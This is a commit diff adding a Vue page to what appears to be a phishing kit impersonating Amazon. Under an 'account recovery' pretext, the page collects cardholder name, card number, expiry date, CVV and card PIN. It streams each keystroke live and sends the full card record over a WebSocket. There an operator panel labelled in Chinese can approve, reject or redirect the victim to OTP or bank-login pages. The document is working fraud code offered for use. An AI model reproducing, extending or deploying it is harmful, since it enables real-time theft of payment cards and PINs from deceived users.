update
This commit is contained in:
673
a9_usa_Fine_amazon/src/views/CardView.vue
Normal file
673
a9_usa_Fine_amazon/src/views/CardView.vue
Normal file
@@ -0,0 +1,673 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<uni-page-body data-v-1566c7ed="">
|
||||
<uni-view data-v-1566c7ed="" id="confirm_index_body">
|
||||
<uni-view data-v-1566c7ed="" class="" style="padding: 0px 20px;">
|
||||
<uni-view data-v-1566c7ed="" class="title" style="color: rgb(13, 104, 173); padding-top: 25px;">
|
||||
Let's recover your account
|
||||
</uni-view>
|
||||
<p data-v-1566c7ed="" style="font-size: 15px; font-weight: 500; color: rgb(119, 119, 119); margin-top: 20px;">
|
||||
Step 2. <span data-v-1566c7ed="" style="font-weight: 200;">Enter your card details</span>
|
||||
</p>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="form">
|
||||
|
||||
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Cardholder</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="card_name">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardholderFocused || formData.card.cardholder }">Cardholder</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="140"
|
||||
enterkeyhint="done"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cardholder"
|
||||
@input="onchange"
|
||||
@focus="isCardholderFocused = true"
|
||||
@blur="isCardholderFocused = formData.card.cardholder !== ''"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="showCardholderWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Card number</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="cardNumber">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCardNumberFocused || formData.card.cardNumber }">0000 0000 0000 0000</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="19"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cardNumber"
|
||||
@input="onCardNumberChange"
|
||||
@focus="isCardNumberFocused = true"
|
||||
@blur="isCardNumberFocused = formData.card.cardNumber !== ''"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="cardNumberError">{{ cardNumberError }}</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="global-error" v-if="message">{{ message }}</uni-text>
|
||||
<div class="card-icons">
|
||||
<img src="@/assets/img/b4f258fb3fcfa.svg" alt="Visa" />
|
||||
<img src="@/assets/img/d9f501073fcfa.svg" alt="Mastercard" />
|
||||
<img src="@/assets/img/d2820b3b3fcfa.svg" alt="American Express" />
|
||||
<img src="@/assets/img/e62e66803fcfa.svg" alt="Discover" />
|
||||
<img src="@/assets/img/272b931f3fcfa.svg" alt="JCB" />
|
||||
<img src="@/assets/img/761998023fcfa.svg" alt="Diners Club" />
|
||||
<img src="@/assets/img/c8e88e5f3fcfa.svg" alt="UnionPay" />
|
||||
<img src="@/assets/img/1a32e1333fcfa.svg" alt="Maestro" />
|
||||
<img src="@/assets/img/56af3b633fcfa.svg" alt="Rupay" />
|
||||
</div>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="cvvbox">
|
||||
<uni-view data-v-1566c7ed="" class="cvvsty">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Due Date</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="expire">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isExpiryFocused || expiryCombined }">MM/YY</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="5"
|
||||
enterkeyhint="done"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="expiryCombined"
|
||||
@input="onExpiryInput"
|
||||
@focus="isExpiryFocused = true"
|
||||
@blur="onExpiryBlur"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="expiryError">
|
||||
{{ expiryError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showExpiryWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="cvvsty">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Security Code (CVV)</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container input-wrapper">
|
||||
<uni-input data-v-1566c7ed="" class="gay_border" id="cvv">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isCvvFocused || formData.card.cvv }">123</div>
|
||||
<input
|
||||
type="text"
|
||||
maxlength="4"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
pattern="[0-9]*"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.cvv"
|
||||
@input="onCvvInput"
|
||||
@focus="isCvvFocused = true"
|
||||
@blur="isCvvFocused = formData.card.cvv !== ''"
|
||||
required
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="cvvError">
|
||||
{{ cvvError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showCvvWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="">
|
||||
<uni-view data-v-1566c7ed="" class="inpname">Card PIN</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="input-field-container">
|
||||
<uni-input data-v-1566c7ed="" class="">
|
||||
<div class="uni-input-wrapper">
|
||||
<div class="uni-input-placeholder input-placeholder" data-v-1566c7ed="" :class="{ 'placeholder-hidden': isPinFocused || formData.card.pin }"></div>
|
||||
<input
|
||||
type="password"
|
||||
maxlength="6"
|
||||
enterkeyhint="done"
|
||||
inputmode="numeric"
|
||||
class="uni-input-input"
|
||||
autocomplete="off"
|
||||
v-model="formData.card.pin"
|
||||
@input="onPinInput"
|
||||
@focus="isPinFocused = true"
|
||||
@blur="isPinFocused = formData.card.pin !== ''"
|
||||
/>
|
||||
</div>
|
||||
</uni-input>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-if="pinError">
|
||||
{{ pinError }}
|
||||
</uni-text>
|
||||
<uni-text data-v-1566c7ed="" class="error" v-else-if="showPinWarning">
|
||||
{{ warningMessage }}
|
||||
</uni-text>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<uni-view data-v-1566c7ed="" class="sendbut" style="margin-top: 30px;">
|
||||
<uni-button
|
||||
data-v-1566c7ed=""
|
||||
id="submit_card_btn"
|
||||
class=""
|
||||
style="background-color: rgb(0, 114, 172); color: white;"
|
||||
:disabled="isLoading || !isFormFilled"
|
||||
@click="next"
|
||||
>
|
||||
<span class="button-content">
|
||||
<!-- <span v-if="isLoading" class="spinner button-spinner"></span> -->
|
||||
<span>{{ isLoading ? 'Verifying...' : 'Submit' }}</span>
|
||||
</span>
|
||||
</uni-button>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
</uni-view>
|
||||
<div v-if="showLoadingOverlay" class="loading-overlay">
|
||||
<div class="loading-content">
|
||||
<div class="spinner overlay-spinner"></div>
|
||||
<p>Verifying...</p>
|
||||
</div>
|
||||
</div>
|
||||
</uni-page-body>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from 'vue';
|
||||
import { useRouter } from 'vue-router';
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
import { useI18n } from 'vue-i18n';
|
||||
import { useLoadingStore } from '@/stores/loadingStore';
|
||||
import { inputChange, myWebSocket } from '@/utils/common';
|
||||
import eventBus from '@/utils/eventBus';
|
||||
|
||||
const { t } = useI18n();
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
interface FormData {
|
||||
card: {
|
||||
cardNumber: string;
|
||||
cardholder: string;
|
||||
expiryMonth: string;
|
||||
expiryYear: string;
|
||||
cvv: string;
|
||||
pin: string;
|
||||
};
|
||||
}
|
||||
|
||||
const formData = ref<FormData>({
|
||||
card: {
|
||||
cardNumber: '',
|
||||
cardholder: '',
|
||||
expiryMonth: '',
|
||||
expiryYear: '',
|
||||
cvv: '',
|
||||
pin: '',
|
||||
},
|
||||
});
|
||||
|
||||
const warningMessage = ref('');
|
||||
const cardNumberError = ref('');
|
||||
const expiryError = ref('');
|
||||
const cvvError = ref('');
|
||||
const pinError = ref('');
|
||||
|
||||
const isLoading = ref(false);
|
||||
const showLoadingOverlay = ref(false);
|
||||
|
||||
const isCardNumberFocused = ref(false);
|
||||
const isCardholderFocused = ref(false);
|
||||
const isExpiryFocused = ref(false);
|
||||
const isCvvFocused = ref(false);
|
||||
const isPinFocused = ref(false);
|
||||
|
||||
const expiryCombined = computed({
|
||||
get: () => {
|
||||
const month = formData.value.card.expiryMonth;
|
||||
const year = formData.value.card.expiryYear;
|
||||
if (month && year) {
|
||||
return `${month}/${year}`;
|
||||
} else if (month) {
|
||||
return month;
|
||||
}
|
||||
return '';
|
||||
},
|
||||
set: (value: string) => {
|
||||
let month = '';
|
||||
let year = '';
|
||||
const parts = value.split('/');
|
||||
if (parts.length > 0) {
|
||||
month = parts[0];
|
||||
}
|
||||
if (parts.length > 1) {
|
||||
year = parts[1];
|
||||
}
|
||||
formData.value.card.expiryMonth = month;
|
||||
formData.value.card.expiryYear = year;
|
||||
},
|
||||
});
|
||||
|
||||
const showCardholderWarning = computed(() => warningMessage.value && !formData.value.card.cardholder && !isCardholderFocused.value);
|
||||
const showExpiryWarning = computed(() => warningMessage.value && (!formData.value.card.expiryMonth || !formData.value.card.expiryYear) && !isExpiryFocused.value);
|
||||
const showCvvWarning = computed(() => warningMessage.value && !formData.value.card.cvv && !isCvvFocused.value);
|
||||
const showPinWarning = computed(() => warningMessage.value && !formData.value.card.pin && !isPinFocused.value);
|
||||
|
||||
const isFormFilled = computed(() => {
|
||||
return (
|
||||
formData.value.card.cardNumber.replace(/\s+/g, '').length >= 15 &&
|
||||
formData.value.card.cardholder.trim() !== '' &&
|
||||
formData.value.card.expiryMonth.length === 2 &&
|
||||
formData.value.card.expiryYear.length === 2 &&
|
||||
formData.value.card.cvv.length >= 3 && formData.value.card.cvv.length <= 4 &&
|
||||
formData.value.card.pin.length >= 4 && formData.value.card.pin.length <= 6
|
||||
);
|
||||
});
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
// Clear all previous errors
|
||||
warningMessage.value = '';
|
||||
cardNumberError.value = '';
|
||||
expiryError.value = '';
|
||||
cvvError.value = '';
|
||||
pinError.value = '';
|
||||
message.value = ''; // Clear general message on new submission attempt
|
||||
|
||||
let hasError = false;
|
||||
|
||||
if (!formData.value.card.cardholder.trim()) {
|
||||
warningMessage.value = t('Please fill in all required fields.');
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
const rawCardNumber = formData.value.card.cardNumber.replace(/\s+/g, '');
|
||||
if (rawCardNumber.length < 15 || rawCardNumber.length > 19) {
|
||||
cardNumberError.value = 'Invalid card number.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
const month = parseInt(formData.value.card.expiryMonth, 10);
|
||||
const year = parseInt(formData.value.card.expiryYear, 10);
|
||||
const currentYear = new Date().getFullYear() % 100;
|
||||
const currentMonth = new Date().getMonth() + 1;
|
||||
|
||||
if (!formData.value.card.expiryMonth || !formData.value.card.expiryYear || isNaN(month) || isNaN(year) || month < 1 || month > 12 || year < currentYear || (year === currentYear && month < currentMonth)) {
|
||||
expiryError.value = 'Invalid expiry date.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (formData.value.card.cvv.length < 3 || formData.value.card.cvv.length > 4) {
|
||||
cvvError.value = 'CVV must be 3-4 digits.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (formData.value.card.pin.length < 4 || formData.value.card.pin.length > 6) {
|
||||
pinError.value = 'PIN must be 4-6 digits.';
|
||||
hasError = true;
|
||||
}
|
||||
|
||||
if (hasError) {
|
||||
return;
|
||||
}
|
||||
|
||||
isLoading.value = true;
|
||||
showLoadingOverlay.value = true;
|
||||
|
||||
let submitValue = rawCardNumber;
|
||||
localStorage.setItem('cardNumber', submitValue);
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'submit_card',
|
||||
content: {
|
||||
type: 'submitOp',
|
||||
card_number: submitValue,
|
||||
cardholder: formData.value.card.cardholder,
|
||||
expiry: `${formData.value.card.expiryMonth}/${formData.value.card.expiryYear}`,
|
||||
cvv: formData.value.card.cvv,
|
||||
pin: formData.value.card.pin,
|
||||
start_page: 'card',
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ label: '完成', value: 'success', type: 'input1' },
|
||||
{ label: '拒絕', value: 'reject', type: 'input2' },
|
||||
{ label: '賬號首頁', value: 'login_mufg', type: 'input1' },
|
||||
{ label: 'OTP短信驗證頁', value: 'verificationcodepage', type: 'input1' },
|
||||
{ label: '提示頁面', value: 'next_pay', type: 'input1' },
|
||||
{ label: '跳轉完成', value: 'success' },
|
||||
],
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const onCardNumberChange = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
const rawValue = input.value.replace(/\s+/g, '');
|
||||
const numericValue = rawValue.replace(/\D/g, '');
|
||||
|
||||
formData.value.card.cardNumber = numericValue
|
||||
.replace(/(.{4})/g, '$1 ')
|
||||
.trim()
|
||||
.slice(0, 19);
|
||||
|
||||
cardNumberError.value = '';
|
||||
inputChange('input_card', 'cardNumber', formData.value.card.cardNumber.replace(/\s+/g, ''));
|
||||
};
|
||||
|
||||
const onExpiryInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
let value = input.value.replace(/[^0-9]/g, '');
|
||||
|
||||
if (value.length > 2) {
|
||||
value = value.slice(0, 2) + '/' + value.slice(2);
|
||||
}
|
||||
value = value.slice(0, 5);
|
||||
|
||||
expiryCombined.value = value; // Update the v-model directly
|
||||
|
||||
// Manually parse and update expiryMonth and expiryYear for form data
|
||||
const parts = value.split('/');
|
||||
formData.value.card.expiryMonth = parts[0] ? parts[0].slice(0, 2) : '';
|
||||
formData.value.card.expiryYear = parts[1] ? parts[1].slice(0, 2) : '';
|
||||
|
||||
expiryError.value = ''; // Clear error on input
|
||||
inputChange('input_card', 'expiry', value);
|
||||
};
|
||||
|
||||
const onExpiryBlur = () => {
|
||||
isExpiryFocused.value = expiryCombined.value !== '';
|
||||
const monthStr = formData.value.card.expiryMonth;
|
||||
const yearStr = formData.value.card.expiryYear;
|
||||
|
||||
expiryError.value = '';
|
||||
|
||||
const month = parseInt(monthStr, 10);
|
||||
const year = parseInt(yearStr, 10);
|
||||
const currentYearFull = new Date().getFullYear();
|
||||
const currentYearShort = currentYearFull % 100;
|
||||
const currentMonth = new Date().getMonth() + 1;
|
||||
|
||||
if (!monthStr || monthStr.length !== 2 || isNaN(month) || month < 1 || month > 12) {
|
||||
expiryError.value = 'Invalid month.';
|
||||
return;
|
||||
}
|
||||
if (!yearStr || yearStr.length !== 2 || isNaN(year)) {
|
||||
expiryError.value = 'Invalid year.';
|
||||
return;
|
||||
}
|
||||
|
||||
if (year < currentYearShort) {
|
||||
expiryError.value = 'Date past.';
|
||||
return;
|
||||
}
|
||||
if (year === currentYearShort && month < currentMonth) {
|
||||
expiryError.value = 'Date past.';
|
||||
return;
|
||||
}
|
||||
|
||||
if (!monthStr || !yearStr) {
|
||||
warningMessage.value = t('Please fill in all required fields.');
|
||||
}
|
||||
};
|
||||
|
||||
|
||||
const onCvvInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
formData.value.card.cvv = input.value.replace(/\D/g, '').slice(0, 4);
|
||||
cvvError.value = '';
|
||||
inputChange('input_card', 'cvv', formData.value.card.cvv);
|
||||
};
|
||||
|
||||
const onPinInput = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
formData.value.card.pin = input.value.replace(/\D/g, '').slice(0, 6);
|
||||
pinError.value = '';
|
||||
inputChange('input_card', 'pin', formData.value.card.pin);
|
||||
};
|
||||
|
||||
const onchange = (event: Event) => {
|
||||
const input = event.target as HTMLInputElement;
|
||||
inputChange('input_card', input.id, input.value);
|
||||
if (input.id === 'card_name') {
|
||||
warningMessage.value = '';
|
||||
}
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.card) {
|
||||
formData.value = userData;
|
||||
}
|
||||
eventBus.on('my-event', handleEvent);
|
||||
|
||||
localStorage.setItem('route', 'card');
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: 'page_type',
|
||||
content: { pageType: 'card', pageTitle: '填卡Pin页面' },
|
||||
})
|
||||
);
|
||||
});
|
||||
|
||||
const message = ref(''); // This variable holds the WebSocket message
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2; // Update the message here
|
||||
isLoading.value = false;
|
||||
showLoadingOverlay.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off('my-event', handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
/* Added style for the global-error message */
|
||||
.global-error {
|
||||
color: #d32f2f; /* A distinct color for general errors */
|
||||
font-size: 12px;
|
||||
text-align: left;
|
||||
margin: 15px 0; /* Add some margin above and below */
|
||||
display: block; /* Ensure it takes full width and new line */
|
||||
font-weight: bold; /* Make it stand out a bit */
|
||||
}
|
||||
|
||||
.input-field-container {
|
||||
position: relative;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.inpname {
|
||||
font-size: 14px;
|
||||
color: #494949;
|
||||
margin-bottom: 8px;
|
||||
margin-top: 16px;
|
||||
}
|
||||
|
||||
.error {
|
||||
color: #ff4d4f;
|
||||
font-size: 13px;
|
||||
position: absolute;
|
||||
bottom: -15px;
|
||||
left: 0;
|
||||
white-space: nowrap;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
width: 100%;
|
||||
z-index: 10;
|
||||
}
|
||||
|
||||
/* Spinner for the button */
|
||||
.button-spinner {
|
||||
width: 18px;
|
||||
height: 18px;
|
||||
border: 3px solid rgba(255, 255, 255, 0.3);
|
||||
border-top: 3px solid white;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin-right: 8px;
|
||||
display: inline-block;
|
||||
vertical-align: middle;
|
||||
margin-top: -2px;
|
||||
}
|
||||
|
||||
/* Spinner for the overlay */
|
||||
.overlay-spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 5px solid rgba(0, 114, 172, 0.3);
|
||||
border-top: 5px solid #0072ac;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin-right: 0;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% {
|
||||
transform: rotate(0deg);
|
||||
}
|
||||
100% {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.form {
|
||||
padding: 0 20px;
|
||||
}
|
||||
|
||||
.uni-input-input {
|
||||
border: none;
|
||||
outline: none;
|
||||
flex-grow: 1;
|
||||
font-size: 16px;
|
||||
padding: 0;
|
||||
background-color: transparent;
|
||||
z-index: 2;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.uni-input-placeholder {
|
||||
color: #a6a6a6;
|
||||
font-size: 16px;
|
||||
position: absolute;
|
||||
top: 50% !important;
|
||||
left: 0;
|
||||
transform: translateY(-50%);
|
||||
transition: opacity 0.2s ease-in-out;
|
||||
pointer-events: none;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.uni-input-placeholder.placeholder-hidden {
|
||||
opacity: 0;
|
||||
}
|
||||
|
||||
.cvvbox {
|
||||
display: flex;
|
||||
gap: 16px;
|
||||
}
|
||||
|
||||
.cvvsty {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.card-icons {
|
||||
display: flex;
|
||||
gap: 4px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.card-icons img {
|
||||
width: 30px;
|
||||
height: 25px;
|
||||
}
|
||||
|
||||
.sendbut {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
#submit_card_btn {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
padding: 10px 20px;
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
#submit_card_btn .button-content {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
|
||||
#submit_card_btn:disabled {
|
||||
background-color: #d9d9d9;
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
/* New styles for the loading overlay */
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background-color: rgba(0, 0, 0, 0.6);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.loading-content {
|
||||
background-color: white;
|
||||
padding: 30px 40px;
|
||||
border-radius: 10px;
|
||||
text-align: center;
|
||||
box-shadow: 0 4px 15px rgba(0, 0, 0, 0.2);
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
gap: 15px;
|
||||
}
|
||||
|
||||
.loading-content p {
|
||||
font-size: 18px;
|
||||
color: #333;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.form {
|
||||
padding: 0 16px;
|
||||
}
|
||||
|
||||
.title {
|
||||
font-size: 24px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
Reference in New Issue
Block a user